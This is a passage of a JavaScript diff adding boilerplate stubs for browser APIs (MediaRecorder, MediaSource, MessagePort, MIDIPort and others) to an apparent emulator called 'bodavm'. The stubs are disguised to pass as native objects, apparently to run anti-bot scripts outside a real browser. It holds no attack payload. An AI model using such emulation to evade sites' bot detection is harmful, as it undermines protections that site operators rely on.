stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stream_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "mimeType", { + configurable: true, + enumerable: true, + get: function mimeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "mimeType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onstart", { + configurable: true, + enumerable: true, + get: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_get", arguments); + }, + set: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onstop", { + configurable: true, + enumerable: true, + get: function onstop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_get", arguments); + }, + set: function onstop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "ondataavailable", { + configurable: true, + enumerable: true, + get: function ondataavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_get", arguments); + }, + set: function ondataavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onresume", { + configurable: true, + enumerable: true, + get: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_get", arguments); + }, + set: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "videoBitsPerSecond", { + configurable: true, + enumerable: true, + get: function videoBitsPerSecond() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "videoBitsPerSecond_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitsPerSecond", { + configurable: true, + enumerable: true, + get: function audioBitsPerSecond() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitsPerSecond_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitrateMode", { + configurable: true, + enumerable: true, + get: function audioBitrateMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitrateMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "pause", { + configurable: true, + enumerable: true, + writable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "requestData", { + configurable: true, + enumerable: true, + writable: true, + value: function requestData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "requestData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "resume", { + configurable: true, + enumerable: true, + writable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "start", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stop", arguments); + } +}, 'prototype'); +// MediaSession对象 + +bodavm.memory.globalobj['MediaSession'] = function MediaSession() { + console.log_copy('MediaSession 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaSession)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSession'], "MediaSession"); +bodavm.toolsFunc.defineProperty('MediaSession', "metadata", { + configurable: true, + enumerable: true, + get: function metadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_get", arguments); + }, + set: function metadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "metadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "playbackState", { + configurable: true, + enumerable: true, + get: function playbackState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_get", arguments); + }, + set: function playbackState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "playbackState_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setActionHandler", { + configurable: true, + enumerable: true, + writable: true, + value: function setActionHandler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setActionHandler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setCameraActive", { + configurable: true, + enumerable: true, + writable: true, + value: function setCameraActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setCameraActive", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setMicrophoneActive", { + configurable: true, + enumerable: true, + writable: true, + value: function setMicrophoneActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setMicrophoneActive", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSession', "setPositionState", { + configurable: true, + enumerable: true, + writable: true, + value: function setPositionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSession'].prototype, "MediaSession", "setPositionState", arguments); + } +}, 'prototype'); +// MediaSource对象 + +bodavm.memory.globalobj['MediaSource'] = function MediaSource() { + console.log_copy('MediaSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MediaSource(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSource'], "MediaSource"); +bodavm.memory.globalobj['MediaSource'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaSource'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaSource', "isTypeSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isTypeSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "isTypeSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('MediaSource', "canConstructInDedicatedWorker", { + configurable: true, + enumerable: true, + get: function canConstructInDedicatedWorker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].undefined, "MediaSource", "canConstructInDedicatedWorker_get", arguments, true); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('MediaSource', "sourceBuffers", { + configurable: true, + enumerable: true, + get: function sourceBuffers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "sourceBuffers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "activeSourceBuffers", { + configurable: true, + enumerable: true, + get: function activeSourceBuffers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "activeSourceBuffers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_get", arguments); + }, + set: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "duration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "onsourceopen", { + configurable: true, + enumerable: true, + get: function onsourceopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_get", arguments); + }, + set: function onsourceopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "onsourceended", { + configurable: true, + enumerable: true, + get: function onsourceended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_get", arguments); + }, + set: function onsourceended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "onsourceclose", { + configurable: true, + enumerable: true, + get: function onsourceclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_get", arguments); + }, + set: function onsourceclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "onsourceclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "addSourceBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function addSourceBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "addSourceBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "clearLiveSeekableRange", { + configurable: true, + enumerable: true, + writable: true, + value: function clearLiveSeekableRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "clearLiveSeekableRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "endOfStream", { + configurable: true, + enumerable: true, + writable: true, + value: function endOfStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "endOfStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "removeSourceBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function removeSourceBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "removeSourceBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaSource', "setLiveSeekableRange", { + configurable: true, + enumerable: true, + writable: true, + value: function setLiveSeekableRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaSource'].prototype, "MediaSource", "setLiveSeekableRange", arguments); + } +}, 'prototype'); +// MediaSourceHandle对象 + +bodavm.memory.globalobj['MediaSourceHandle'] = function MediaSourceHandle() { + console.log_copy('MediaSourceHandle 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaSourceHandle)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaSourceHandle'], "MediaSourceHandle"); +// MediaStreamAudioDestinationNode对象 + +bodavm.memory.globalobj['MediaStreamAudioDestinationNode'] = function MediaStreamAudioDestinationNode() { + console.log_copy('MediaStreamAudioDestinationNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamAudioDestinationNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioDestinationNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioDestinationNode'], "MediaStreamAudioDestinationNode"); +bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('MediaStreamAudioDestinationNode', "stream", { + configurable: true, + enumerable: true, + get: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype, "MediaStreamAudioDestinationNode", "stream_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaStreamAudioSourceNode对象 + +bodavm.memory.globalobj['MediaStreamAudioSourceNode'] = function MediaStreamAudioSourceNode() { + console.log_copy('MediaStreamAudioSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamAudioSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioSourceNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioSourceNode'], "MediaStreamAudioSourceNode"); +bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['MediaStreamAudioSourceNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('MediaStreamAudioSourceNode', "mediaStream", { + configurable: true, + enumerable: true, + get: function mediaStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype, "MediaStreamAudioSourceNode", "mediaStream_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaStreamEvent对象 + +bodavm.memory.globalobj['MediaStreamEvent'] = function MediaStreamEvent() { + console.log_copy('MediaStreamEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamEvent'], "MediaStreamEvent"); +bodavm.memory.globalobj['MediaStreamEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaStreamEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaStreamEvent', "stream", { + configurable: true, + enumerable: true, + get: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamEvent'].prototype, "MediaStreamEvent", "stream_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaStreamTrackEvent对象 + +bodavm.memory.globalobj['MediaStreamTrackEvent'] = function MediaStreamTrackEvent() { + console.log_copy('MediaStreamTrackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackEvent'], "MediaStreamTrackEvent"); +bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaStreamTrackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaStreamTrackEvent', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype, "MediaStreamTrackEvent", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaStreamTrackGenerator对象 + +bodavm.memory.globalobj['MediaStreamTrackGenerator'] = function MediaStreamTrackGenerator() { + console.log_copy('MediaStreamTrackGenerator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrackGenerator)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackGenerator': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackGenerator'], "MediaStreamTrackGenerator"); +bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype.__proto__ = bodavm.memory.globalobj['MediaStreamTrack'].prototype; +bodavm.memory.globalobj['MediaStreamTrackGenerator'].__proto__ = bodavm.memory.globalobj['MediaStreamTrack']; +bodavm.toolsFunc.defineProperty('MediaStreamTrackGenerator', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype, "MediaStreamTrackGenerator", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// MediaStreamTrackProcessor对象 + +bodavm.memory.globalobj['MediaStreamTrackProcessor'] = function MediaStreamTrackProcessor() { + console.log_copy('MediaStreamTrackProcessor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrackProcessor)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackProcessor': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackProcessor'], "MediaStreamTrackProcessor"); +bodavm.toolsFunc.defineProperty('MediaStreamTrackProcessor', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackProcessor'].prototype, "MediaStreamTrackProcessor", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +// menubar对象 + +bodavm.memory.globalobj['menubar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['menubar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; +// MessageChannel对象 + +bodavm.memory.globalobj['MessageChannel'] = function MessageChannel() { + console.log_copy('MessageChannel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MessageChannel(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageChannel'], "MessageChannel"); +bodavm.toolsFunc.defineProperty('MessageChannel', "port1", { + configurable: true, + enumerable: true, + get: function port1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageChannel', "port2", { + configurable: true, + enumerable: true, + get: function port2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageChannel'].prototype, "MessageChannel", "port2_get", arguments); + }, + set: undefined +}, 'prototype'); +// MessageEvent对象 + +bodavm.memory.globalobj['MessageEvent'] = function MessageEvent() { + console.log_copy('MessageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MessageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MessageEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessageEvent'], "MessageEvent"); +bodavm.memory.globalobj['MessageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MessageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MessageEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "lastEventId", { + configurable: true, + enumerable: true, + get: function lastEventId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "lastEventId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "ports", { + configurable: true, + enumerable: true, + get: function ports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "ports_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "userActivation", { + configurable: true, + enumerable: true, + get: function userActivation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "userActivation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessageEvent', "initMessageEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initMessageEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessageEvent'].prototype, "MessageEvent", "initMessageEvent", arguments); + } +}, 'prototype'); +// MessagePort对象 + +bodavm.memory.globalobj['MessagePort'] = function MessagePort() { + console.log_copy('MessagePort 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MessagePort)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MessagePort'], "MessagePort"); +bodavm.memory.globalobj['MessagePort'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MessagePort'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MessagePort', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "postMessage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MessagePort', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MessagePort'].prototype, "MessagePort", "start", arguments); + } +}, 'prototype'); +// MIDIPort对象 + +bodavm.memory.globalobj['MIDIPort'] = function MIDIPort() { + console.log_copy('MIDIPort 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIPort)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIPort'], "MIDIPort"); +bodavm.memory.globalobj['MIDIPort'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MIDIPort'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MIDIPort', "connection", { + configurable: true, + enumerable: true, + get: function connection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "connection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "manufacturer", { + configurable: true, + enumerable: true, + get: function manufacturer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "manufacturer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "version_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", 